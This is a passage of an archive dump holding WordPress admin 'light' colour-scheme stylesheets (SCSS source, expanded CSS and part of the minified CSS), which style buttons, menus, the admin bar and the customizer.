#customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #0073aa; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-right-color: #04a4cc; color: #0073aa; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #04a4cc; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { color: #0073aa; } .wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #0073aa; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #04a4cc; border-style: solid; box-shadow: 0 0 0 1px #04a4cc; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #04a4cc; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #04a4cc; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #04a4cc; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(8.8269230769, 201.9038461538, 250.1730769231), 0 0 2px 1px #04a4cc; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #04a4cc; color: #0073aa; } /* Override the theme filter highlight color for this scheme */ .theme-section.current, .theme-filter.current { border-bottom-color: #04a4cc; } css/colors/light/colors.scss 0000644 00000001557 15233246127 0012157 0 ustar 00 @use "sass:color"; $highlight-color: #04a4cc; $text-color: #333; $menu-avatar-frame: #aaa; @use "../_admin.scss" with ( $scheme-name: "light", $base-color: #e5e5e5, $icon-color: #999, $text-color: $text-color, $highlight-color: $highlight-color, $notification-color: #d64e07, $body-background: #f5f5f5, $menu-highlight-text: #fff, $menu-highlight-icon: #ccc, $menu-highlight-background: #888, $menu-bubble-text: #fff, $menu-submenu-background: #fff, $menu-collapse-text: #777, $menu-collapse-focus-icon: #555, $dashboard-accent-1: $highlight-color, $dashboard-accent-2: color.adjust(color.adjust($highlight-color, $lightness: 7%), $saturation: -15%), $dashboard-icon-background: $text-color ); /* Override the theme filter highlight color for this scheme */ .theme-section.current, .theme-filter.current { border-bottom-color: admin.$highlight-color; } css/colors/light/colors.css 0000644 00000060555 15233246127 0011777 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f5f5f5; } /* Links */ a { color: #0073aa; } a:hover, a:active, a:focus { color: rgb(0, 149.5, 221); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(0, 149.5, 221); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #333; background-color: #e5e5e5; } .wp-core-ui .wp-ui-text-primary { color: #e5e5e5; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #888; } .wp-core-ui .wp-ui-text-highlight { color: #888; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #d64e07; } .wp-core-ui .wp-ui-text-notification { color: #d64e07; } .wp-core-ui .wp-ui-text-icon { color: #999; } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #e5e5e5; } .view-switch a:hover:before { color: #d64e07; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #e5e5e5; } #adminmenu a { color: #333; } #adminmenu div.wp-menu-image:before { color: #999; } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #888; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #ccc; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f5f5f5; border-bottom-color: #f5f5f5; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: #fff; } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-right-color: #fff; } #adminmenu .wp-submenu .wp-submenu-head { color: rgb(104.4, 104.4, 104.4); } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: rgb(104.4, 104.4, 104.4); } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: #04a4cc; } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #333; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: #04a4cc; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-right-color: #f5f5f5; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #888; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #ccc; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #d64e07; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #333; background: #fff; } /* Admin Menu: collapse button */ #collapse-button { color: #777; } #collapse-button:hover, #collapse-button:focus { color: #04a4cc; } /* Admin Bar */ #wpadminbar { color: #333; background: #e5e5e5; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #333; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: #999; } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: #04a4cc; background: #fff; } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #04a4cc; } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: #04a4cc; } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: #fff; } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(246.85, 246.85, 246.85); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: rgb(104.4, 104.4, 104.4); } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: #999; } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #04a4cc; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #04a4cc; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: #999; } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: #999; } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #333; background: rgb(246.85, 246.85, 246.85); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #d64e07; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(192.6, 70.2, 6.3); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(246.85, 246.85, 246.85); background-color: rgb(246.85, 246.85, 246.85); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #333; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: #04a4cc; } #wpadminbar #wp-admin-bar-user-info .username { color: rgb(104.4, 104.4, 104.4); } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #04a4cc; border-color: rgb(3.5096153846, 143.8942307692, 178.9903846154); } .wp-pointer .wp-pointer-content h3:before { color: #04a4cc; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #04a4cc; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #04a4cc; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #04a4cc; } .attachment.details .check { background-color: #04a4cc; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #04a4cc; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #04a4cc; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #04a4cc; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #04a4cc; } .theme-section.current, .theme-filter.current { border-bottom-color: #e5e5e5; } body.more-filters-opened .more-filters { color: #333; background-color: #e5e5e5; } body.more-filters-opened .more-filters:before { color: #333; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #888; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #888; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(8.8269230769, 201.9038461538, 250.1730769231), 0 0 2px 1px #04a4cc; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: #999; } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #888; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: #fff; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: #999; } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #04a4cc; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #0073aa; border-left-color: #04a4cc; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #0073aa; border-top-color: #04a4cc; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #0073aa; border-left-color: #04a4cc; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #0073aa; } .wp-core-ui .customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui #customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(8.8269230769, 201.9038461538, 250.1730769231), 0 0 2px 1px #04a4cc; } .wp-core-ui #customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #0073aa; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-left-color: #04a4cc; color: #0073aa; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #04a4cc; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { color: #0073aa; } .wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #0073aa; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #04a4cc; border-style: solid; box-shadow: 0 0 0 1px #04a4cc; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #04a4cc; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #04a4cc; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #04a4cc; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(8.8269230769, 201.9038461538, 250.1730769231), 0 0 2px 1px #04a4cc; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #04a4cc; color: #0073aa; } /* Override the theme filter highlight color for this scheme */ .theme-section.current, .theme-filter.current { border-bottom-color: #04a4cc; } css/colors/light/colors.min.css 0000644 00000051723 15233246127 0012556 0 ustar 00 /*! This file is auto-generated */ body{background:#f5f5f5}a{color:#0073aa}a:active,a:focus,a:hover{color:rgb(0,149.5,221)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(0,149.5,221)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui 